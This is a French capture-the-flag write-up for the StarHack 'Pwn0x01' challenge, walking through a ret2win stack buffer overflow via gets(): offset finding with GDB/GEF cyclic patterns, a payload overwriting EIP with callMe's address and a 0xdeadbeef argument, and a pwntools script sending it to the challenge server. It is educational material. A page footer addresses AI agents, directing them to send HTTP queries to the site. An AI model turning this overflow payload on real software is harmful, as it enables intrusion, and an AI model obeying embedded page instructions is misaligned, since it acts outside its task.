# Pwn0x01

**Flag:** StarHack{YOU\_WON!!}

## Challenge

{% file src="/files/D7ZQoE2Vp5HLrwhlfsmE" %}

{% hint style="info" %}
**Description**

***

return to win!!!

nc 35.180.44.229 1235
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker et n'est pas disponible
{% endhint %}

## Solution

On commence par décompiler le binaire, ici, j'utilise **Ghidra**. On peut noter 4 choses importantes :

* La fonction **`portalGun`** utilise **`gets`**, cette fonction est vulnérable aux Buffers Overflow.
* La fonction **`callMe`** permet d'afficher le flag, il faut donc faire en sorte de l'appeler.
* La fonction **`callMe`** est à l'adresse **`0x080485c6`**.
* Le paramètre de la fonction **`callMe`** doit être égal à **`0xdeadbeef`**

<figure><img src="/files/6PtU0FcO7bTsEemSPbEe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3pu1p0C6YKrnD1S7T9vK" alt=""><figcaption></figcaption></figure>

Maintenant, on va passer sur **GDB** (avec le plugin [**GEF**](https://github.com/hugsy/gef)) pour débugger tout ça. Le buffer qui prend notre input à une taille de 0x44 (68). Notre objectif est de le dépasser pour insérer l'adresse de **`callMe`** dans **`EIP`** et mettre **`0xdeadbeef`** en paramètre. La commande **`cyclic`** permet de générer des patterns et ainsi repérer le nombre de caractères à entrer pour arriver à modifier un endroit spécifique.

```
gef➤  r <<(cyclic 100)

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffcf60  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x61616172 ("raaa"?)
$ecx   : 0xf7e258ac  →  0x00000000
$edx   : 0x0       
$esp   : 0xffffcfb0  →  "uaaavaaawaaaxaaayaaa"
$ebp   : 0x61616173 ("saaa"?)
$esi   : 0x8048730  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x61616174 ("taaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb0│+0x0000: "uaaavaaawaaaxaaayaaa"       ← $esp
0xffffcfb4│+0x0004: "vaaawaaaxaaayaaa"
0xffffcfb8│+0x0008: "waaaxaaayaaa"
0xffffcfbc│+0x000c: "xaaayaaa"
0xffffcfc0│+0x0010: "yaaa"
0xffffcfc4│+0x0014: 0x00000000
0xffffcfc8│+0x0018: 0xf7c3c819  →  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfcc│+0x001c: 0xf7c23c65  →  <__libc_start_call_main+117> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616174
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616174 in ?? (), reason: SIGSEGV
```

EIP contient taaa, on cherche donc l'offset de cette valeur :

```
gef➤  shell cyclic -l taaa
76
```

Il faut donc 76 caractères pour atteindre **`EIP`**.  On va donc envoyer **`76 * A`** puis l'adresse de **`callMe`** (à l'envers puisque little endian).

```
gef➤  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08")')$(cyclic 40))

hey Morty give an adress for my portal Gun

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x804b1a0  →  0xfbad2488
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x2c00    
$edx   : 0x2c2c2c2c (",,,,"?)
$esp   : 0xffffcfb4  →  "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x61616161 ("aaaa"?)
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction OVERFLOW RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4│+0x0000: "baaacaaadaaaeaaafaaagaaahaaaiaaajaaa"       ← $esp
0xffffcfb8│+0x0004: "caaadaaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfbc│+0x0008: "daaaeaaafaaagaaahaaaiaaajaaa"
0xffffcfc0│+0x000c: "eaaafaaagaaahaaaiaaajaaa"
0xffffcfc4│+0x0010: "faaagaaahaaaiaaajaaa"
0xffffcfc8│+0x0014: "gaaahaaaiaaajaaa"
0xffffcfcc│+0x0018: "haaaiaaajaaa"
0xffffcfd0│+0x001c: "iaaajaaa"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616161
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x61616161 in ?? (), reason: SIGSEGV

```

**`ESP + 0`**, qui correspond à notre premier paramètre de la fonction **`callMe`**, contient **`baaa`**. On calcule son offset :

```
gef➤  shell cyclic -l baaa
4
```

On doit mettre 4 caractères random de plus après notre adresse pour accéder au paramètre de la fonction et mettre **`0xdeadbeef`** dedans. J'ai ajouté **`flag.txt`** avec un faux flag dedans pour tester notre payload. Ça nous donne :

```
gef➤  r <<(echo $(python -c 'print("A"*76 + "\xc6\x85\x04\x08") + "B"*4 + "\xef\xbe\xad\xde"'))

hey Morty give an adress for my portal Gun
FakeFlag{exploitation_locale_faite}

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0x23      
$ebx   : 0x41414141 ("AAAA"?)
$ecx   : 0x0       
$edx   : 0x0       
$esp   : 0xffffcfb4  →  0xdeadbeef
$ebp   : 0x41414141 ("AAAA"?)
$esi   : 0x8048730  →  <__libc_csu_init+0> push ebp
$edi   : 0xf7ffcb80  →  0x00000000
$eip   : 0x42424242 ("BBBB"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffcfb4│+0x0000: 0xdeadbeef   ← $esp
0xffffcfb8│+0x0004: 0x00000000
0xffffcfbc│+0x0008: 0xf7c23c65  →  <__libc_start_call_main+117> add esp, 0x10
0xffffcfc0│+0x000c: 0x00000000
0xffffcfc4│+0x0010: 0x00000000
0xffffcfc8│+0x0014: 0xf7c3c819  →  <__new_exitfn+9> add ebx, 0x1e761b
0xffffcfcc│+0x0018: 0xf7c23c65  →  <__libc_start_call_main+117> add esp, 0x10
0xffffcfd0│+0x001c: 0x00000001
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x42424242
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "task_new", stopped 0x42424242 in ?? (), reason: SIGSEGV
```

Le programme crash, mais on a bien eu le flag. Plus qu'à envoyer notre payload au serveur, j'utilise Python avec la librairie [**pwntools**](https://github.com/Gallopsled/pwntools) :

```python
from pwn import *

context.log_level = 'error'

filler = b'A' * 76
address = p32(0x080485c6)
dummy = b'B' * 4
param_1 = p32(0xdeadbeef)
payload =  filler + address + dummy + param_1

client = remote('35.180.44.229', 1235)
client.recvuntil(b'Gun\n')

client.sendline(payload)
client.interactive()
```

<pre><code><strong>$ python chall.py
</strong>StarHack{YOU_WON!!}
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ctf.thaysan.com/ctf-and-writeups/2024-or-star-hack/pwn/pwn0x01.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
